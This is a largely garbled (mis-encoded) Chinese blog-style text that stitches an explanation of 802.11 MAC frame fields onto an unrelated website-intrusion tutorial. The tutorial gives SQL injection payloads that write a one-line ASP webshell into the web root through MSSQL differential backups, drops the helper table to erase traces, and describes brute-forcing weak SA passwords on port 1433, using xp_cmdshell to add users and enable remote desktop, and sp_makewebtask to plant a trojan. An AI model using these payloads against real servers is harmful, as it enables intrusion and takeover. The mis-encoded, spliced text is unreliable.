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浣滆咃細(xì)__ay
鍦ㄤ笂涓綃囦腑錛岀畝瑕佹榪頒簡(jiǎn)鏃犵嚎緗戠粶鐨勯氫俊鏈哄埗錛岄偅涔堝湪涓嬫潵灝卞緱寮濮嬩粙緇嶄竴涓嬫棤綰跨綉緇滅殑閫氫俊緇嗚妭浜?jiǎn)銆傝鍒拌繖閲岋紝浠ュ悗鎵璇寸殑鍐呭浼?xì)鏈夈?02.11 鏃犵嚎緗戠粶鏉冨▉鎸囧崡 絎簩鐗堝獎(jiǎng)鍗扮増銆嬭繖鏈功鍐呭鐨勫獎(jiǎng)瀛愶紝榪樻湁鍐呭涓細(xì)鍔犱笂閫氳繃wireshark鎶撳寘鐨勫垎鏋愪互鍙?qiáng)IEEE鍏充簬wlan 80211鍗忚鐨勮鏄庢枃妗c傝櫧鐒惰榪欐湰涔﹁櫧鐒惰寰楀ソ錛屼絾鏄緢澶氭暟鎹寘緇嗚妭涓婄殑闂榪樻槸闇瑕佹垜浠翰鎵嬪幓鍋氬疄楠屽幓楠岃瘉鐨勶紝涓鍚戣涓哄涔?fàn)涓嶈兘浠呬粎鐪嬩功锛屼翰鎵嬪幓楠岃瘉涓浜涗綘璁や負(fù)鐤戞儜鐨勫湴鏂瑰彲鑳戒細(xì)姣斿仛鍑犻亾璇懼悗棰樼殑鏁堟灉瑕佸ソ寰楀寰楀 ^_^
1 MAC802.11鏁版嵁甯ф牸寮?/span>
棣栧厛瑕佽鏄庣殑鏄痬ac802.11鐨勫撫鏍煎紡寰堢壒鍒紝瀹冧笌TCP/IP榪欎竴綾誨崗璁笉鍚岋紝瀹冪殑闀垮害鏄彲鍙樼殑銆備笉鍚屽姛鑳界殑鏁版嵁甯ч暱搴︿細(xì)涓嶄竴鏍楓傝繖涓鐗規(guī)ц鏄巑ac802.11鏁版嵁甯ф樉寰楁洿鍔犵伒媧伙紝鐒惰岋紝涔熶細(xì)鏇村姞澶嶆潅銆俶ac 802.11鐨勬暟鎹撫闀垮害涓嶅畾涓昏鏄敱浜庝互涓嬪嚑鐐瑰喅瀹氱殑
1.1 mac鍦板潃鏁扮洰涓嶅畾錛屾牴鎹撫綾誨瀷涓嶅悓錛宮ac 802.11鐨刴ac鍦板潃鏁頒細(xì)涓嶄竴鏍楓傛瘮濡傝 ACK甯т粎鏈変竴涓猰ac鍦板潃錛岃屾暟鎹撫鏈?涓猰ac鍦板潃錛屽湪WDS妯″紡錛堜笅闈㈣鎻愬埌錛変笅錛屽撫澶寸珶鐒舵湁4涓猰ac鍦板潃銆?/span>
1.2 802.11鐨勭鐞嗗撫鎵鎼哄甫鐨勪俊鎭暱搴︿笉瀹氾紝鍦ㄧ鐞嗗撫涓紝涓嶄粎浠呭彧鏈変竴浜涚被浼間簬mac鍦板潃錛屽垎鐗囨爣蹇椾箣綾葷殑榪欎簺淇℃伅錛岃屼笖鍙﹀榪樹細(xì)鍖呮嫭涓浜涘叾瀹冪殑淇℃伅錛岃繖浜涗俊鎭湁鍏充簬瀹夊叏璁劇疆鐨勶紝鏈夊叧浜庣墿鐞嗛氫俊鐨勶紝姣斿璇存垜浠殑SSID鍚嶇О灝辨槸閫氳繃綆$悊甯ц幏寰楃殑銆侫P浼?xì)鏍规嵁涓嶅悓鐨勬儏鍐靛彂閫佸寘鍚湁涓嶅悓淇℃伅鐨勭鐞嗗撫銆傜鐞嗗撫鐨勭粏鑺傞棶棰樻垜浠細(xì)鍦ㄥ悗闈㈢殑鏂囩珷涓璁猴紝榪欓噷鏆傛椂璺寵繃銆?/span>
1.3 鍔犲瘑錛坵ep,wpa絳夛級(jí)淇℃伅錛孮OS錛坬uality of service錛変俊鎭紝鑻ユ湁鍔犲瘑鐨勬暟鎹撫鏍煎紡鍜屾病鏈夊姞瀵嗙殑鏁版嵁甯ф牸寮忚繕涓嶄竴鏍鳳紝鍔犲瘑鏁版嵁甯ф牸寮忚繕澶氫簡(jiǎn)涓姞瀵嗗ご錛岀敤浜庤В瀵嗙敤銆傜劧鍒橯OS涔熸槸鍚屾牱閬撶悊銆?/span>
绔熺劧mac 802.11鏁版嵁甯ч偅涔堝鏉傦紝鎴戜滑灝卞厛浠庨氱敤鐨勬牸寮忓紑濮嬭鍚?/span>
甯ф帶鍒?2 bytes)錛?/span>
鐢ㄤ簬鎸囩ず鏁版嵁甯х殑綾誨瀷錛屾槸鍚﹀垎鐗囩瓑絳変俊鎭紝璇寸櫧浜?jiǎn)锛寴q欎釜瀛楁灝辨槸璁板綍浜?jiǎn)mac 802.11鐨勫睘鎬с?/span>
*Protocol version錛氳〃鏄庣増鏈被鍨嬶紝鐜板湪鎵鏈夊撫閲岄潰榪欎釜瀛楁閮芥槸0x00
*Type錛氭寚鏄庢暟鎹撫綾誨瀷錛屾槸綆$悊甯э紝鏁版嵁甯ц繕鏄帶鍒跺撫
*Subtype錛氭寚鏄庢暟鎹撫鐨勫瓙綾誨瀷錛屽洜涓哄氨綆楁槸鎺у埗甯э紝鎺у埗甯ц繕鍒哛TS甯э紝CTS甯э紝ACK甯х瓑絳夛紝閫氳繃榪欎釜鍩熷垽鏂嚭璇ユ暟鎹撫鐨勫叿浣撶被鍨?/span>
*To DS/From DS錛氳繖涓や釜鏁版嵁甯ц〃鏄庢暟鎹寘鐨勫彂閫佹柟鍚戯紝鍒嗗洓縐嶅彲鑳芥儏鍐佃璁?/span>
**鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁鍖呭湪緗戠粶涓繪満闂翠紶杈?/span>
**鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯ф潵鑷狝P
**鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯у彂閫佸線AP
**鑻ユ暟鎹寘To DS涓?錛孎rom DS涓?錛岃〃鏄庤鏁版嵁甯ф槸浠嶢P鍙戦佽嚜AP鐨勶紝涔熷氨鏄榪欎釜鏄釜WDS(Wireless Distribution System)鏁版嵁甯э紝鑷充簬浠涔堟槸WDS錛屽彲浠ュ弬鑰冧笅榪欓噷鐨勪粙緇?#浼犻侀棬
*Moreflag錛氬垎鐗囨爣蹇楋紝鑻ユ暟鎹撫琚垎鐗囦簡(jiǎn)錛岄偅涔堣繖涓爣蹇椾負(fù)1錛屽惁鍒欎負(fù)0
*Retry錛氳〃鏄庢槸鍚︽槸閲嶅彂鐨勫撫錛岃嫢鏄負(fù)1錛屼笉鏄負(fù)0
*PowerManage錛氬綋緗戠粶涓繪満澶勪簬鐪佺數(shù)妯″紡鏃訛紝璇ユ爣蹇椾負(fù)1錛屽惁鍒欎負(fù)0.
*Moredata錛氬綋AP緙撳瓨浜?jiǎn)澶勪簬鐪佺攭|ā寮忎笅鐨勭綉緇滀富鏈虹殑鏁版嵁鍖呮椂錛孉P緇欒鐪佺數(shù)妯″紡涓嬬殑緗戠粶涓繪満鐨勬暟鎹撫涓浣嶄負(fù)1錛屽惁鍒欎負(fù)0
*Wep錛氬姞瀵嗘爣蹇楋紝鑻ヤ負(fù)1琛ㄧず鏁版嵁鍐呭鍔犲瘑錛屽惁鍒欎負(fù)0
*Order 榪欎釜琛ㄧず鐢ㄤ簬PCF妯″紡涓嬶紝榪欓噷涓嶄簣璁ㄨ
鐢熷瓨鍛ㄦ湡/Associate ID (2 bytes):
鍏堝墠涓嶆槸璁茶繃铏氭嫙杞芥嘗鐩戝惉鐨勪竴涓満鍒朵箞錛屼粬鐨凬etwork Allocation Vector錛圢AV錛夊氨瀛樺湪榪欓噷錛岃繖閲屽彨duration錛屽嵆鐢熷瓨鍛ㄦ湡銆傚綋鐒朵笉鏄墍鏈夋椂鍊欒繖涓瓧孌靛瓨鏀劇殑NAV鍊箋傚湪鐗瑰畾綾誨瀷鏁版嵁甯т腑錛屽畠涔熷彲鑳借〃紺篈ssociate ID銆備竴鏃︽湁涓繪満鍏寵仈鍒癆P浜?jiǎn)锛孉P閮戒細(xì)涓轟富鏈哄垎閰嶄竴涓狝ssociate ID銆傛瘮濡傚湪緗戠粶涓繪満閫氱煡AP鑷繁瑕佽繘鍏ョ渷鐢墊ā寮忥紙power saving錛夌殑鏃跺欙紝緗戠粶涓繪満鍙戠粰AP鐨勯氱煡鏁版嵁甯ч噷闈紝榪欎釜鍩熷氨琛ㄧず鐨勬槸Associate ID鑰屼笉鏄疦AV浜?jiǎn)銆傚綋鐒惰繕鍙互閫氳繃鏈楂樹綅鏉ュ垽鏂繖涓煙鐨勫惈涔夛細(xì)
*鍦?5bit涓?鐨勬椂鍊欙紝璇ュ煙琛ㄧずduration
*鍦?5bit涓?錛?4bit涓?鐨勬椂鍊欙紝琛ㄧずAssociate ID銆?/span>
搴忓垪鎺у埗(2 bytes錛? bits/12 bits)錛氳繖涓煙鍒?閮ㄥ垎錛屼竴涓槸鍒嗙墖搴忓垪鍙峰拰鏍囪瘑甯у垪鍙楓傚垎鐗囧簭鍒楀彿灝辨槸璁板綍鍒嗙墖搴忓彿鐨勩傛瘮濡備竴涓撫A琚垎鐗囨垚a1錛宎2錛宎3錛岄偅涔坅1錛宎2錛宎3榪欎笁涓垎鐗囧撫鐨勫垎鐗囧簭鍒楀垎鍒槸0,1,2銆傝繖涓拰IP鍒嗘鍘熺悊涓鏍風(fēng)殑錛岃鍩熷崰4涓瘮鐗逛綅銆傚墿涓嬬殑12涓瘮鐗逛綅灝辯敤浜庢爣璇嗗撫鐨勫簭鍙鳳紝榪欎釜璺烮P澶撮噷闈㈢殑搴忓垪鍙蜂竴鏍楓?/span>
MAC鍦板潃 1-4
榪欏洓涓湴鍧鍦ㄤ笉鍚屽撫涓湁涓嶅悓鍚箟銆傝繖浜涗互鍚庝細(xì)璁ㄨ銆?/span>
浠ュ悗鎴戜滑鍙兘浼?xì)纰板堫C互涓嬬被鍨嬬殑mac鍦板潃
RA(receiver address)錛氭棤綰跨綉緇滀腑錛岃鏁版嵁甯х殑鎺ユ敹鑰?/span>
TA(transmitter address)錛氭棤綰跨綉緇滀腑錛岃鏁版嵁甯х殑鍙戦佽?/span>
BSSID(Basic Service Set ID)錛氬湪infrastructure BBS涓紝BSSID灝辨槸AP鐨刴ac鍦板潃銆備絾鏄湪IBBS涓紝瀹冩槸涓涓殢鏈哄嵆鐢熸垚鐨?6浣嶄簩榪涘埗搴忓垪錛岃繕鏈夋渶楂樹袱浣嶅垎鍒槸Universal/Local鏍囧織浣嶅拰Individual/Group鏍囧織浣嶃侷BBS鐨凚SSID涓紝Universal/Local鏍囧織浣嶄負(fù)1錛岃〃紺烘湰鍦癕AC錛孖ndividual/Group鏍囧織浣嶄負(fù)0錛岃〃紺烘槸涓漢MAC銆備篃灝辨槸璇村湪IBBS涓紝BSSID鍦板潃搴旇綾誨 10xxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx錛坸琛ㄧず闅忔満鏁拌涔?瑕佷箞1, 2榪涘埗琛ㄧず錛?/span>
DA(destine address)錛氳甯х殑鐩殑mac鍦板潃
SA(source address)錛氳甯х殑婧恗ac鍦板潃
榪欓噷鐨凞A鍜孲A鍚箟鍜屾櫘閫氫互澶綉涓殑鍚箟涓鏍鳳紝鍦ㄦ棤綰跨綉緇滀腑鍙兘鎴戜滑闇瑕侀氳繃AP鎶婃暟鎹彂閫佸埌鍏跺畠緗戠粶鍐呯殑鏌愬彴涓繪満涓備絾鏄湁鐨勪漢浼?xì)濂囨紝鐩存帴鍦≧A涓~榪欏彴涓繪満鐨刴ac鍦板潃涓嶅氨涔呭ソ浜?jiǎn)涔堛備絾鏄娉ㄦ剰RA鐨勫惈涔夛紝璇寸殑鏄棤綰跨綉緇滀腑鐨勬帴鏀惰咃紝涓嶆槸緗戠粶涓殑鎺ユ敹鑰咃紝涔熷氨鏄榪欏彴鐩殑涓繪満涓嶅啀鏃犵嚎緗戠粶鑼冨洿鍐呫傚湪榪欑鎯呭喌涓嬫垜浠殑RA鍙槸涓涓腑杞紝鎵浠ラ渶瑕佸鍑轟竴涓狣A瀛楁鏉ユ寚鏄庤甯х殑鏈緇堢洰鐨勫湴錛屽綋鐒?dòng)灱屽鏋滄湁浜?jiǎn)DA閭e繀欏繪湁SA錛屽洜涓鴻嫢鐩殑涓繪満瑕佸洖搴旂殑璇濓紝SA瀛楁鏄繀涓嶅彲灝戠殑銆?鍋囪娌℃湁SA瀛楁錛岄偅涔堢洰鐨勪富鏈哄洖搴旂殑鏁版嵁鍖呭氨鍙兘鍙戦佸埌婧愪富鏈烘墍灞炵殑AP涓婁簡(jiǎn)~)
鏈鍏稿瀷鐨勪竴涓緥瀛愬氨鏄湪WDS妯″紡涓嬶紝鏁版嵁甯т細(xì)鏈?涓湴鍧錛孯A錛孴A琛ㄧず鎺ユ敹绔拰鍙戦佺錛岃繖涓や釜鍦板潃鐢ㄤ簬鏃犵嚎浼犺緭鐨勬椂鍊欍傝繕鏈?涓湴鍧鏄疍A鍜孲A錛屽垎鍒窡浠ュお緗戜腑涓鏍瘋〃紺烘簮鍦板潃鍜岀洰鐨勫湴鍧銆俉DS甯х殑鏍煎紡濡備笅鍥撅細(xì)
鎵撲釜姣旀柟璇達(dá)紝AP1鏈変富鏈篈錛孉P2鏈変富鏈築銆傚鏋淎瑕佸拰B鍚屽錛岄偅涔圓浼?xì)棣栧厛鍙戦佹暟鎹撫緇橝P1錛岀劧鍚?/span>AP1鍙戦佸撫緇橝P2 銆傝繖涓椂鍊欏撫閲岄潰浼?xì)鏈?涓湴鍧錛屽垎鍒槸RA=mac(AP2)錛孴A=mac(AP1)錛孌A=mac(B)錛孲A=mac(A)銆?/span>
聽(tīng)聽(tīng)聽(tīng) 鍏充簬宸紓澶囧垎鎴戞兂宸茬粡鑷悕榪滄磱浜?jiǎn)鍚с備笅闈㈡垜浠厛鏉ョ畝鍗曡涓嬫暟鎹簱鐨勫樊寮傚鍒嗭細(xì)
聽(tīng)
聽(tīng)聽(tīng)聽(tīng)聽(tīng) 宸紓澶囦喚鎵鍩轟簬鐨勫父瑙勬暟鎹簱澶囦喚銆侀儴鍒嗗浠芥垨鏂囦歡澶囦喚縐頒負(fù)宸紓鐨勨滃熀鍑嗏?i>鎴栤滃樊寮傚熀鍑嗏?i>銆備粎澶嶅埗澶囦喚涓嶈兘鐢ㄤ綔宸紓鍩哄噯銆傛枃浠跺樊寮傚浠界殑鍩哄噯澶囦喚鍙互鍖呭惈鍦ㄥ畬鏁村浠姐佹枃浠跺浠芥垨閮ㄥ垎澶囦喚涓傛湁鍏寵緇嗕俊鎭紝璇峰弬闃呭湪 綆 鍗曟ā寮忎笅鐨勫鍒嗘垨鍦ㄥ畬鏁存ā寮忎笅鐨勫鍒?/strong> 銆?/strong>
宸紓澶囦喚鍙褰曡嚜涓婃寤虹珛宸紓鍩哄噯鍚庢洿鏀圭殑鏁版嵁銆傚樊寮傚浠芥瘮宸紓鍩哄噯鏇村皬涓旀洿蹇紝渚夸簬鎵ц棰戠箒澶囦喚錛屼粠鑰岄檷浣庝簡(jiǎn)鏁版嵁涓㈠け鐨勯闄┿?/strong>
聽(tīng)聽(tīng)聽(tīng) 闄ゅ彧璇繪暟鎹簱涔嬪錛屽叾浠栨暟鎹簱涓瘡涓枃浠剁殑宸紓鍩哄噯淇℃伅鍧囦繚瀛樺湪涓繪枃浠剁粍鐨勪竴涓洰褰曚腑銆傛瘡涓暟鎹簱鐨勫樊寮傚熀鍑嗕俊鎭害瀛樺偍鍦?master 鏁版嵁搴撲腑銆?/strong>
鈥斺斺斺斾互涓婃槸寮曠敤MSDN瀵瑰樊寮傚鍒嗙殑瑙i噴
聽(tīng)聽(tīng)聽(tīng) 鎵璋撶殑宸紓澶囧垎錛屽氨鏄彧澶囧垎鏈榪戜竴嬈″鍒嗕箣鍚庡埌姝ゆ澶囧垎涔嬪墠鎵澧炲姞鐨勯偅涓閮ㄥ垎鏁版嵁銆傛墦涓瘮鏂規(guī)垜絎琋嬈″鍒嗗悗鏁版嵁搴撳瓨鏀劇殑鍐呭鏄疉BCD錛岀劧鍚庢垜絎琋+1嬈? 澶囧垎鐨勬椂鍊欎嬌鐢ㄥ樊寮傚鍒嗭紝姝ゆ椂鏁版嵁搴撶殑瀛樻斁鐨勫唴瀹規(guī)槸ABCDEFG銆傞偅涔堟垜宸紓澶囧垎鐨勭粨鏋滃氨鏄疎FG錛屽彧澶囧垎澧炲姞閲忋傞兘鏄庣櫧浜?jiǎn)鎴戜滑灏卞紑濮嬭鐐規(guī)湁鐢ㄧ殑涓滆タ 鍟︼紝鍢垮樋~~涓轟粈涔堣鐢ㄥ樊寮傚鍒嗗憿錛熷洜涓鴻妯$偣鐨勭綉绔欐暟鎹簱涓鑸湁鍑犲崄M鐢氳嚦錛岄偅涔堜綘澶囧垎鍑烘潵鐨勬暟鎹氨鏈夊嚑鍗丮錛岀劧鍚庝綘浠嶹EB涓婃墦寮涓嚑鍗丮鍐呭鏂囦歡鐨? 璇濃︹︿及璁¤寰堜箙鍚с傝繖涔堝叆渚電殑璇濇垜瑙夊緱浣犺繕鏄洿鎺ユ嬁鍒鎵劇綉綆¤浠栨妸鍚庡彴瀵嗙爜緇欎綘濂戒簡(jiǎn)銆傚啀鑰呮垜浠鍒嗙殑涓鍙ヨ瘽鏈ㄩ┈浼?xì)鍙楀埌濯?jiǎng)鍝嶏紝濡傛灉鏁版嵁搴撲腑瀛樺湪銆婃垨鑰?涔? 綾葷殑瀛楃鐨勮瘽銆傚彲鑳藉鑷存垜浠皬椹棤娉曡闂傝繕鏈夊氨鏄鍒嗛偅涔堝ぇ鐨勬暟鎹簱鍙兘浼?xì)瀵艰嚧鑴氭湰鎿嶄綔瓒呮椨灱屾墍浠ユ垜浠緱灝介噺鍑忓皯鎴戜滑澶囧垎鍑烘潵鐨勬暟鎹簱鐨勫ぇ灝忋備負(fù)浠涔堝 鍒嗘暟鎹簱灝卞彲浠ュ叆渚電綉绔欎簡(jiǎn)鍛⑩︹︽垜浠線涓嬭煩
鎴戜笉鏄垎鍓茬嚎
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鎴戜滑鏉ヤ粙緇嶄笅SQL鐨勫鍒嗚鍙ワ細(xì)
BACKUP DATABASE ****錛堣〃紺轟綘瑕佸鍒嗙殑鏁版嵁搴撳悕錛?TO DISK='*****'錛堣〃紺轟綘瑕佸鍒嗙殑鏁版嵁搴撹礬寰勶級(jí) WITH DIFFERENTIAL錛堝憡璇夋暟鎹簱浣犺榪涜宸紓澶囧垎錛屽鏋滄病鏈塛ITH DIFFERENTIAL鍒欒繘琛屽畬鏁村鍒嗭級(jí)
聽(tīng)
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 涓句釜渚嬪瓙錛屾瘮濡傛垜浠煡閬撲簡(jiǎn)WEB鏈嶅姟鍣ㄧ殑鐗╃悊璺緞 D:\WEB\,鏈嶅姟鍣ㄧ殑鏁版嵁搴撳悕涓篨XX
閭d箞濡傛灉鎴戜滑灝嗕竴涓竴鍙ヨ瘽鏈ㄩ┈鎻掑叆鏁版嵁搴撲腑錛堝悗闈㈣鍒幫級(jí)鐒跺悗澶囧垎鏁版嵁搴擄紝鍏蜂綋璇彞濡備笅
BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 娉ㄦ剰鍒癉:\WEB\AY.ASP娌℃湁錛屾剰鎬濆氨鏄鎶婃暟鎹簱澶囧垎鍒癢EB鐩綍涓嬭屼笖鏁版嵁搴撳鍒嗘枃浠跺悕涓篈Y.ASP錛屽彲鍠滅殑鏄? AY.ASP榪欎釜鏂囦歡涓瓨鍦ㄦ垜浠殑涓鍙ヨ瘽鏈ㄩ┈璇彞錛屽綋鏈嶅姟鍣ㄩ亣鍒癆SP鍚庣紑鍚嶇殑鏂囦歡鏃朵細(xì)瀵硅鏂囦歡榪涜ASP瑙f瀽錛孉SP瑙f瀽鐨勫師鍒欐槸閬囧埌<%寮濮嬭В 鏋愶紝%>緇撴潫瑙f瀽銆傛瘮濡傛垜浠悜鏁版嵁搴撲腑鎻掑叆涓鍙ヨ瘽鏈ㄩ┈錛岃繖涓椂鍊欐垜浠彃鍏ョ殑鏁版嵁鏄柊澧炵殑鏁版嵁錛岀劧鍚庣敤宸紓澶囧垎澶囧垎涓涓狝SP鏂囦歡鍒癢EB鐩綍涓嬨傞偅 涔堣繖涓狝SP鏂囦歡涓嬪氨浼?xì)瀛樺湪鎴戜滑鐨勬湪椹唴瀹逛簡(jiǎn)銆傜劧鍚庤闂竴鍙ヨ瘽鏈ㄩ┈錛岀劧鍚庡皬椹紶澶ч┈銆?/font>
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 鍒憡璇夋垜涓嶇煡閬撴庝箞璁塊棶錛屽洜涓哄緢澶氫漢榪樻槸涓嶇悊瑙EB鐗╃悊璺緞鍜屾垜浠闂殑URL涔嬮棿鐨勫叧緋匯傜畝鍗曡涓嬪ソ浜?jiǎn)锛屾瘮濡備綘鐨刉EB鏍圭洰褰曞湪榪欐牱D:\WEB\錛? 鏂囦歡澶逛笅鏈変綘鎯寵闂殑鏂囦歡AY.ASP銆傜綉绔欏煙鍚嶄負(fù)http:\\xxx.xxx.xxx錛岄偅涔堜綘鍙璁塊棶http:\\xxx.xxx.xxx \AY.ASP灝卞彲浠ヤ簡(jiǎn)銆備綘鐨刉EBSHELL灝卞埌鎵嬩簡(jiǎn)錛屽叆渚墊湇鍔″櫒鐨勮繘搴﹀氨瀹屾垚浜?0%錛堜負(fù)浠涔堟槸10%鍛紵鍥犱負(fù)90%鐨勯毦搴﹀湪鎻愭潈~鍛靛懙錛夈?/font>
鍘熺悊鐭ラ亾娌★紵鎺ヤ笅鏉ユ槸瀹炶返浜?jiǎn)锛屽線涓嬬湅涔嬪墠寤鴻浣犳妸SQL鐨勫熀鏈鍙ユ悶鎳傘?/font>
鏉ワ紝鍐嶅線涓嬭煩
鎴戣繕鏄笉鏄垎鍓茬嚎
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聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛鎴戜滑闇瑕佹敞鍏ョ殑鏁版嵁搴撶被鍨嬫槸MSSQL鐨勶紝鑰屼笖榪欎釜鏁版嵁搴撶殑榪炴帴鏉冮檺蹇呴』鏄疍B_OWNER鐨勬潈闄愩傦紙涓鑸琈SSQL鏁版嵁搴撶綉绔欓兘鏄繖涓潈闄愮殑錛夋湁寤鴻〃鐨勬潈闄愩傛弧瓚充互涓婃潯浠剁殑緗戠珯鍏跺疄鏄瘮杈冨鐨勩傚懙鍛碘︹?/font>
URL;create table ay(ay1 image) --
鏂板緩涓涓悕涓篈Y鐨勮〃 琛ㄥ唴瀛樺湪鍚嶄負(fù)AY1鐨勫浘璞$被鍨嬬殑瀛楁
URL;backup database聽(tīng)鏁版嵁搴撳悕 to disk='鐗╃悊璺緞' with DIFFERENTIAL --聽(tīng)
娉ㄦ剰錛岃繖嬈″鍒嗘槸瑕佸噺灝忔暟鎹簱鐨勫鍒嗛噺
URL;insert into ay (ay1) values (鈥滀竴鍙ヨ瘽鏈ㄩ┈") --
鍚戜綘鏂板緩鐨勮〃涓彃鍏ヤ竴鍙ヨ瘽鏈ㄩ┈鍐呭
URL;backup database聽(tīng)鏁版嵁搴撳悕 to disk='鐗╃悊璺緞'with DIFFERENTIAL --聽(tīng)
澶囧垎鏁版嵁搴撳埌WEB鐩綍涓?
URL;drop table xy --
鍒犻櫎琛ㄥ悕錛屾竻鐞嗙棔榪?/font>
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 姝ラ浠嬬粛瀹屼簡(jiǎn)錛屼篃璁稿ぇ瀹惰繕鏄湁鐤戞儜錛屽氨鏄負(fù)浠涔堢2鍙ヨ澶囧垎涓涓嬶紝姣斿榪樻槸涓婇潰鐨勪緥瀛愶紝鎴戜滑澶囧垎涔嬪墠鏁版嵁搴撳瓨鍦ㄥ唴瀹逛負(fù)ABCD錛屾垜浠繘琛屽樊寮傚鍒嗭紝鐒跺悗鎻? 鍏ュ皬椹紝閭d箞鏁版嵁搴撳唴瀹硅〃涓篈BCDE錛孍浠h〃灝忛┈鍐呭銆傞偅涔堝樊寮傚鍒嗗嚭鏉ュ唴瀹逛負(fù)E銆備負(fù)浠涔堣繖鏍峰憿錛屽洜涓轟綘涓嶇煡閬撹繖鍙版湇鍔″櫒澶氫箙涔嬪墠澶囧垎榪囩殑錛屼竾涓榪欐湇鍔? 鍣ㄦ病澶囧垎榪囪屼笖鏁版嵁搴撳唴瀹規(guī)湁鍑犵櫨M鍛紵鎵浠ヤ弗璋ㄧ偣鐨勫姙娉曞氨鏄厛澶囧垎涓嬈″湪鍐欏叆涓鍙ヨ瘽鏈ㄩ┈銆?/font>
聽(tīng)聽(tīng)聽(tīng)聽(tīng)聽(tīng) 棣栧厛璁蹭笅浠涔堟槸1433寮卞彛浠ゆ紡媧烇紝鎵璋撳急鍙d護(hù)灝辨槸鎸囧緢綆鍗曠殑涓浜涘瘑鐮侀殢渚跨寽灝辮兘鐚滃嚭鏉ョ殑錛屾瘮濡傝瀵嗙爜鏄?23錛?23456錛宎dmin鐢氳嚦鐢ㄦ埛鍚嶅瘑鐮? 鐩稿悓絳夌瓑涔嬬被鐨勭姸鍐碉紝鎴戜滑灝辮兘杞繪槗鑾峰緱瀵規(guī)柟鐨勫瘑鐮併傚懙鍛碉紝璁稿浜洪兘寰堟噿錛屾墍浠ュ瘑鐮侀兘寰堢畝鍗曪紝鍖呮嫭鎴戜篃鏄紝鍛靛懙鈥︹︼紙鑰屼笖榪樼粡甯擱偅123褰撲復(fù)鏃跺瘑鐮侊級(jí)銆傚湪璇? 涓嬩粈涔堟槸1433寮卞彛浠わ紝1433鎵鎸囩殑鏄?涓湇鍔$鍙o紝浠涔堟湇鍔″憿錛熼偅灝辨槸浼犺涓殑MSSQL鍟︼紝璇曟兂MSSQL瀹夎涔嬪垵鐨勯粯璁ゅ瘑鐮佹槸絀猴紝鐒惰屽張瀛樺湪璁? 澶氭噿緗戠錛岄偅涔堟垜浠彧瑕佹嬁涓伐鍏風(fēng)畝鍗曠殑鎵笅鍦ㄦ嫻嬩笅瀵嗙爜鈥︹﹀樋鍢庫(kù)︹﹀彲鎯寵屼箣鎵埌1433寮卞彛浠ょ殑鍑犵巼榪樻槸铔ぇ鐨剘鍛靛懙
聽(tīng)聽(tīng)聽(tīng) 鎺ヤ笅鏉ユ垜浠璇存嬁鍒癝A鏉冮檺鐨?433寮卞彛浠ゆ垜浠兘騫蹭粈涔堬紝澶у閮界煡閬揦P_CMDSHELL榪欎釜鎵╁睍鍌ㄥ瓨鍚э紝榪欎釜鎵╁睍鍌ㄥ瓨鍙互鐪嬪仛鏄疢SSQL鎻愪緵緇欑 鐞嗚呮墽琛孋MD鍛戒護(hù)鐨勪竴涓姛鑳芥ā鍧楋紝閫氳繃榪欎釜鎴戜滑鍙互鎵цCMD鍛戒護(hù)鑰屾洿鍙枩鐨勬槸SA鏉冮檺鐨勫笎鎴蜂竴鑸兘鏄互SYSTEM鏉冮檺鍚姩鐨勶紝鏉冮檺鐩稿綋浜庤綆楁満綆$悊 鍛樻潈闄愶紝閭d箞鎴戜滑鐩稿綋浜庡彲浠ョ敤CMD鍛戒護(hù)鐨勫艦寮忔帶鍒朵綘瑕佸叆渚電殑璁$畻鏈轟簡(jiǎn)錛屽綋鐒舵垜浠偗瀹氫笉浼?xì)婊…懗浜庣敤CMD鎺у埗鏈哄櫒錛屾垜浠殑鐩爣鏄氳繃3389鎴栬呭叾浠栫殑杞? 浠舵潵杈懼埌鎺у埗璁$畻鏈虹殑鐩殑銆備笅闈㈡垜浠潵鍒嗙被璁ㄨ鍚勭鎯呭喌涓嬬殑鍒囧叆鐐癸紝浠呬緵鍙傝冣︹?/font>
浠ヤ笅鍋囪浣犳嬁鍒頒簡(jiǎn)SA鏉冮檺鑻ュ彛浠ょ殑鏈哄櫒銆傛湁涓撻棬鐨凷QL鏌ヨ鍒嗘瀽鍣ㄥ彲浠ヨ繛鎺ュ鏂?澶у鏈夊叴瓚e彲浠ュ幓涓嬩竴涓潵鐪嬬湅.
聽(tīng)
1.褰?389緇堢寮鍚殑鏃跺欙紝鑰岀洰鏍囨満瀛愪篃娌″仛綾諱技IP榪欐牱鐨勮繃婊わ紝閭d箞鎴戜滑灝辯洿鎺ユ墽琛孋MD鍛戒護(hù)鍔犱釜鐢ㄦ埛錛岀劧鍚庣敤鍔犵殑鐢ㄦ埛鐧諱笂鍘誨氨O(jiān)K浜?jiǎn)~鍛靛懙
錛堥渶瑕佹棤鏁孯P鍟妦~~錛?/font>
2.閭d箞濡傛灉CMD鍛戒護(hù)鍙互鎵ц,浣嗘槸娌″紑3389,鎴戜滑鍏堟壂涓嬬洰鏍嘔P,鐪嬩粬鏈夋病鏈夊紑80绔彛,鏈夌殑璇?0%鏄湁 WEB鏈嶅姟鐨?閭d箞鎴戜滑鏄疭A鏉冮檺鐩存帴涓釜灝忛┈涓婂幓,鍢垮樋.........鏈変簡(jiǎn)椹垜浠彲浠ヤ笂浼犱笢瑗垮暒~~浼犱釜寮3389鐨勫伐鍏蜂笂鍘繪墽琛?鏈哄櫒閲嶅惎涓嬪氨鍙? 浠ョ櫥3389浜?
聽(tīng)
浠ヤ笅鏄疭A鏉冮檺涓嬪鍒嗗皬椹殑璇彞;
exec sp_makewebtask '澶囧垎璺緞',' select ''涓鍙ヨ瘽鏈ㄩ┈'' ';--
聽(tīng)
渚嬪瓙濡備笅
